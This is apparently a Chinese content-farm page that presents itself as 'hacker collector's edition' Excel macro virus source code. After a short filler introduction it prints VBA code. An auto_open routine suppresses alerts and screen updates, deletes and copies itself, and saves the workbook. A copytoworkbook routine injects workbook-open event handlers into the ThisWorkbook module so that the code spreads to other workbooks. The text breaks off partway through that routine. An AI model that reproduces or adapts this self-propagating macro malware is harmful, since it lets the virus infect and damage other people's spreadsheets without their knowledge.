常见excel病毒EXCEL宏病毒源码黑客典藏版本-编程绝版教材

导读'PrivateSubauto_open()'Application.DisplayAlerts=False，现在小编就来说说关于常见excel病毒?下面内....

Private Sub auto_open()Application.DisplayAlerts = False，现在小编就来说说关于常见excel病毒?下面内容希望能帮助到你，我们来一起看看吧!

常见excel病毒

Private Sub auto_open()

Application.DisplayAlerts = False

If ThisWorkbook.Path <> Application.StartupPath Then

Application.ScreenUpdating = False

Call delete_this_wk

Call copytoworkbook

If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook

ThisWorkbook.Save

Application.ScreenUpdating = True

End If

End Sub

Private Sub copytoworkbook()

Const DQUOTE = """"

With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

.InsertLines 1, "Public WithEvents xx As Application"

.InsertLines 2, "Private Sub Workbook_open()"

.InsertLines 3, "Set xx = Application"

.InsertLines 4, "On Error Resume Next"

.InsertLines 5, "Application.DisplayAlerts = False"

.InsertLines 6, "Call do_what"

.InsertLines 7, "End Sub"

.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"

.InsertLines 9, "On Error Resume Next"